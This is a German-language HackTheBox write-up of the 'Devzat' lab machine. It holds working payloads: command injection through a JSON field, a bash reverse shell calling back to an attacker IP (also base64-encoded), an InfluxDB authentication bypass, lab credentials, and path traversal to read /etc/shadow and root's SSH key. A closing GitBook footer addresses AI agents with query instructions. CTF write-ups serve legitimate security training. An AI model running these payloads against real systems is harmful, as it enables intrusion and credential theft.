> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md).

# Devzat HackTheBox Ausarbeitung

{% embed url="<https://app.hackthebox.com/machines/398>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Verzeichnis-Fuzzing
* Web-Injection (RCE)
* Missbrauch von InfluxDB (CVE-2019-20933)
* Missbrauch des Devzat-Chat-/file-Befehls (Privilegieneskalation)
  {% endhint %}

## Aufklärung:

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/37750246851032e0558236e190ac7aa1e140b820" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindung prüfen**

Prüfen Sie die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielsystem sicherzustellen.

<figure><img src="/files/fdaedecaeff65aa7b0782ed450bf5912e2704881" alt="" width="563"><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**

Erfassen Sie offene Ports und exportieren Sie die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.118 -oG allPorts
```

<figure><img src="/files/09c2157e252b4f61c2f416374135fc09fe21f67d" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Mit der extractPorts-Funktion die offenen Ports in einem kompakten Format anzeigen und in die Zwischenablage kopieren (22.80.8000)

<figure><img src="/files/ee3c48e9be7f95ca7040d2efe94de9af07e06046" alt="" width="563"><figcaption></figcaption></figure>

Port- und Versionsscan mit Nmap:

Verwenden Sie Nmap, um die Service-Versionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,80,8000 10.10.11.118 -oN targeted
```

<figure><img src="/files/49da5a6b63094f43714cf87a44a701b501f626f7" alt=""><figcaption></figcaption></figure>

Um Domänennamen über DNS in IP-Adressen aufzulösen, wird der mit seiner IP-Adresse verknüpfte Domänenname in das `/etc/hosts` Datei ein:

<figure><img src="/files/684b6818cb1e5f8cb9d1db417d7b3a21446dadf5" alt="" width="539"><figcaption></figcaption></figure>

### Port 80

<figure><img src="/files/68322c1f6943ab2821b097bc4623333204c8490d" alt=""><figcaption></figcaption></figure>

Verwenden von `whatweb`, finden wir eine mit der Website verknüpfte E-Mail-Adresse: `patrick@devzat.htb`.

<figure><img src="/files/5be317ebded80a9d06a78031f318e0e1958d401c" alt=""><figcaption></figcaption></figure>

Die Anwendung informiert uns außerdem, dass wir Port 8000 verwenden können, um per SSH zu „chat“ zu verbinden:

```bash
ssh -l [username] devzat.htb -p 8000 
```

<figure><img src="/files/4360473bbcd1ca41ab97adae32cd631598716b9e" alt=""><figcaption></figcaption></figure>

### Port 8000:

Wir versuchen, uns zu verbinden, aber es tritt ein Problem auf, da ein SSH-Schlüssel erforderlich ist:

```bash
ssh -l jordan devzat.htb -p 8000
```

<figure><img src="/files/f4e0b2f13667076fc621ddc5e64c7231a608246e" alt=""><figcaption></figcaption></figure>

**Vorübergehendes Erzwingen der Verwendung von SSH-RSA:** Wir geben den für diese Sitzung zu verwendenden SSH-Schlüsseltyp mit der folgenden Option an:

```bash
ssh -l jordan devzat.htb -p 8000 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa
```

<figure><img src="/files/a578add8f0596d5bc7d3c9dfeb978b9064382999" alt=""><figcaption></figcaption></figure>

### **Devzat-Projekt (SSH-Chat):**

{% hint style="info" %}
Devzat ist ein benutzerdefinierter SSH-Server, der statt zu einer Befehlszeile mit einem Chat verbindet. Da SSH-Anwendungen auf allen Plattformen verfügbar sind (einschließlich Smartphones), können Sie sich von jedem Gerät aus mit Devzat verbinden.
{% endhint %}

Hier ist eine Liste von Befehlen, die in diesem Chat ausgeführt werden können:

<figure><img src="/files/614d7fcb0049a5e1d95ba61f48882796f2d255f1" alt=""><figcaption></figcaption></figure>

### Fuzzing **von Verzeichnissen:**

Wir verwenden `gobuster` um Verzeichnisse auf der Website aufzulisten:

```bash
gobuster dir -u http://devzat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Es wurden keine interessanten Ergebnisse gefunden.

<figure><img src="/files/978f2fa0bcc662937e055413e2312b8ef3aac344" alt=""><figcaption></figcaption></figure>

### **Subdomain-Fuzzing**

Wir suchen mit `gobuster`:

```bash
gobuster vhost -u http://devzat.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 | grep -Ev "403|302"
```

Wir entdecken das `pets.devzat.htb` Subdomain und fügen sie der `/etc/hosts` vorhandenen Benutzern.

<figure><img src="/files/64720863cefb5848d30920fb42cfb497cf1682a9" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/29cd8fde7660e854d60c2a79d3f3846d834517f2" alt=""><figcaption></figcaption></figure>

## **Verwundbarkeit (RCE) JSON :**

<figure><img src="/files/71c00a8f828cf281663513a04dab9f2ede655904" alt=""><figcaption></figcaption></figure>

Wir haben die Möglichkeit, „pets“ mit ihren Arten hinzuzufügen, was eine JSON-Injektion ermöglicht.

<figure><img src="/files/e6de618788b8e498ccffa286c445deb703a95b42" alt=""><figcaption></figcaption></figure>

Wir fangen Anfragen mit Burp Suite ab und versuchen, die Anfrage zu manipulieren, indem wir einen Eintrag mit Name und Art hinzufügen:

<figure><img src="/files/e3bfb89587204e695abf26e28850062c2ac56992" alt=""><figcaption></figcaption></figure>

Dieser Eintrag wird interpretiert und ermöglicht eine Injektion.

```json
{
    "Name": "jordan",
    "Spezies": "jordan"
}
```

<figure><img src="/files/7a2d6dbcc9f86df6c98a54d98f939e6598973235" alt=""><figcaption></figcaption></figure>

Wir lauschen auf ICMP-Traces, um die Kommunikation zu beobachten und Befehlsinjektionen zu testen:

```bash
sudo tcpdump -i tun0 icmp
```

Wir erhalten eine Ping-Antwort zurück, was die Möglichkeit der Ausführung von Remote-Befehlen bestätigt.

<figure><img src="/files/56b4f6e54c8a6c4b65c59a6e706f36849ffde49d" alt=""><figcaption></figcaption></figure>

Dann senden wir eine Anfrage mit `curl` an unseren Python-Server und erhalten ebenfalls eine Anfrage, was die Schwachstelle für Remote Code Execution bestätigt.

```bash
{
    "Name": "jordan",
    "Spezies": "test;bash -c \"bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261\""
}
```

<figure><img src="/files/09bd99fabfd67d5ebed97d23f8a759024cd011da" alt="" width="502"><figcaption></figcaption></figure>

### Reverse Shell

Wir versuchen, eine Reverse Shell zu erstellen:

```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.12/443 0>%261"
```

Allerdings tritt ein Ausgabefehler auf.

<figure><img src="/files/2ab91e8ec5d812ddf9a4e6a1b48af13abebc7962" alt=""><figcaption></figcaption></figure>

**Lösung des Fehlers (Reverse Shell):** Um diesen Fehler zu beheben, erstellen wir eine HTML-Datei mit der Reverse Shell, die wir in base64 kodieren:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.12/443 0>&1
```

Wir konvertieren diese Datei in base64:

```bash
base64 -w 0 index.html
```

<figure><img src="/files/988328c6479aab5bc71b515cca011b9c23305670" alt="" width="563"><figcaption></figcaption></figure>

In der Anfrage führen wir das Echo des kodierten base64-Strings aus und dekodieren ihn vor dem Start der Shell:

{% code overflow="wrap" %}

```bash
{
    "Name": "jordan",
    "Species": "test;echo IyEvYmluL2Jhc2ggCmJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTIvNDQzIDA+JjEK | base64 -d | bash"
}
```

{% endcode %}

Nochmals lauschen wir auf Port 443 und erhalten eine Reverse Shell.

<figure><img src="/files/24268c38f0f13889bd20d8c330c2458078fef65c" alt=""><figcaption></figcaption></figure>

#### **Terminal-Bedienung:**

Um unsere Sitzung zu stabilisieren, verwenden wir die folgenden Befehle:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation <a href="#privilege-escalation" id="privilege-escalation"></a>

Wir stellen fest, dass erhöhte Rechte erforderlich sind. Wir müssen wechseln, um Zugriff auf das `catherine` Benutzerkonto zu erhalten.

<figure><img src="/files/f7e4fb7a4b4028395cde55b2bfc7511f406878ca" alt="" width="563"><figcaption></figcaption></figure>

#### Identifizierung offener Ports

Zuerst beobachten wir die intern geöffneten Ports mit dem folgenden Befehl:

```bash
netstat -nltp
```

Die offenen Ports sind:

* 8086
* 8443
* 5000

<figure><img src="/files/949971475b52b0d3c6dc2a9eb0400d8636b91944" alt=""><figcaption></figcaption></figure>

### Portweiterleitung (SSH)

Wir leiten interne Ports mit dem privaten Schlüssel des Benutzers und unter Anwendung der richtigen Berechtigungen auf unsere Angriffsmaschine um:

```bash
chmod 600 id_rsa
```

<figure><img src="/files/7b53f12e7f45706364a86a905d122e4b265bcb8e" alt=""><figcaption></figcaption></figure>

```bash
sudo ssh -L 8086:127.0.0.1:8086 -L 8443:127.0.0.1:8443 -L 5000:127.0.0.1:5000 patrick@devzat.htb -i id_rsa
```

Wir verwenden dann `nmap` um umgeleitete Ports zu scannen:

```bash
nmap -sCV -p5000,8443,8086 localhost -oN targeted
```

### Port 5000:

<figure><img src="/files/7d9fce2e395f1866da71dc3ff1c1e3c0613405c6" alt=""><figcaption></figcaption></figure>

Wir stellen fest, dass dieser Port mit demselben Dienst verbunden ist, der auf Port 8000 gefunden wurde, was uns keinen zusätzlichen Exploit-Pfad bietet.

<figure><img src="/files/c8c229469e9cd4ea926ba0f6365f6445dc46bb2b" alt=""><figcaption></figcaption></figure>

### **Port 8086 (InfluxDB)**

Der Dienst auf Port 8086 ist InfluxDB, Version 1.7.5. Wir identifizieren eine NCE- (Remote Code Execution-) Schwachstelle in InfluxDB:

<figure><img src="/files/d1cfda659041255395443125293110de81cef889" alt=""><figcaption></figcaption></figure>

**Schwachstelle :** [CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
Diese Schwachstelle ermöglicht es Ihnen, die Authentifizierung zu umgehen, indem Sie ein JWT-Token verwenden, dessen `SharedSecret` leer ist (auch bekannt als gemeinsames Geheimnis), wodurch wir Zugriff auf die Datenbank erhalten.
{% endhint %}

<figure><img src="/files/b6f682c67b7400d5e08be0fbebcfd119247987cd" alt=""><figcaption></figcaption></figure>

#### Zugriff auf die Datenbank

Sobald wir mit InfluxDB verbunden sind, listen wir die verfügbaren Datenbanken auf:

```sql
SHOW DATABASES;
```

Wir wählen die `devzat` Datenbank aus und untersuchen die Benutzerdaten. Wir beginnen damit, die „Messungen“ (Tabellen) aufzulisten:

```sql
SHOW MEASUREMENTS;
```

Das **`Benutzer`** Die Tabelle enthält nützliche Informationen. Um die Spalten dieser Messung zu untersuchen, führen wir aus:

```sql
SHOW FIELD KEYS FROM "user";
```

Dann zeigen wir die ersten 10 Ergebnisse für die `Benutzer` Tabelle:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>Passwort</strong></td><td><strong>Benutzernamen</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

Das Passwort des catherine-Benutzers ist **`woBeeYareedahc7Oogeephies7Aiseci`**, wodurch wir das **Flag** Benutzer.

### Flagge user.txt :)

Wir erhalten erfolgreich Zugriff und pivotieren als `catherine`.

<figure><img src="/files/9c29b83d3d33e875009149139747251759b2b571" alt="" width="563"><figcaption></figcaption></figure>

### Port 8443 (Devzat - Produktion)

Port 8443 ist einer Instanz von Devzat in Produktion zugeordnet. Wir stellen fest, dass ein `Datei` Parameter alle Dateien im System als root auflistet. Der Zugriff auf diese Funktion ist jedoch durch ein Passwort geschützt.

<figure><img src="/files/bca18b76f12908ed1bd34080ea539b75fab59a0f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a60674d93a6fc3d696945fe3b28a3edb611869c7" alt=""><figcaption></figcaption></figure>

Wir versuchen, das catherine-Passwort zu verwenden, aber es schlägt fehl. Wir müssen nun nach Dateien suchen, die catherine auf dem System lesen kann.

<figure><img src="/files/99634c8258d1918f0b8fc7fa24f56311dfcbb0d9" alt="" width="538"><figcaption></figcaption></figure>

### Nach zugänglichen Dateien von Catherine suchen

Wir verwenden den folgenden Befehl, um nach allen von catherine lesbaren Dateien zu suchen:

```bash
find / -user catherine -readable 2>/dev/null | grep -vE "cgroup|proc"
```

Wir finden zwei `.zip` Backup-Dateien:

* `/var/backups/devzat-main.zip`
* `/var/backups/devzat-dev.zip`

Wir laden die `devzat-dev.zip` Backup-Datei und filtern ihren Inhalt nach Passwörtern. Wir finden ein nützliches Passwort: **`CeilingCatStillAThingIn2021?`**.

<figure><img src="/files/7911a2b4e8d8e70a6d6d1ea4743b73cb5c6bdb22" alt=""><figcaption></figcaption></figure>

Wir versuchen dann, dieses Passwort zu verwenden, um auf die `/etc/shadow` Datei über die `Datei` Parameter anfällig für Open Redirect ist:

```bash
/file /etc/shadows CeilingCatStillAThingIn2021?
```

Obwohl das Passwort korrekt ist, wird ein **Pfad-Traversal** erforderlich, um vollen Zugriff zu erhalten. Wir verwenden den folgenden Befehl, um im Dateisystem zu navigieren:

<figure><img src="/files/ce41e5b55ebee08af9f1a25bda26375b070d3fd6" alt=""><figcaption></figcaption></figure>

```bash
/file ../../../../etc/shadow CeilingCatStillAThingIn2021?
```

Wir schaffen es, die `/etc/shadow` Datei als root anzuzeigen.

<figure><img src="/files/1efa2f51fd62d2fda3eef47fba3c9d307b21123a" alt=""><figcaption></figcaption></figure>

### SSH-Zugriff als Root

Schließlich verwenden wir ein zusätzliches Traversal, um auf den root-SSH-Schlüssel zuzugreifen:

```bash
/file ../../../../root/.ssh/id_rsa CeilingCatStillAThingIn2021?
```

<figure><img src="/files/fdfb940eafa178aa02e365f0e0430656b12714b8" alt="" width="563"><figcaption></figcaption></figure>

Wir laden den SSH-Schlüssel herunter und verbinden uns als root.

<figure><img src="/files/6b46c95d9dd85c515935e121b476a5781b5b8075" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="/files/40ee303f5c407f6a7609147dc8d1039a8403fbe4" alt="" width="470"><figcaption></figcaption></figure>

<figure><img src="/files/54a7a29994c4c5b3028620300fd27290ad6725a7" alt="" width="542"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/devzat-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
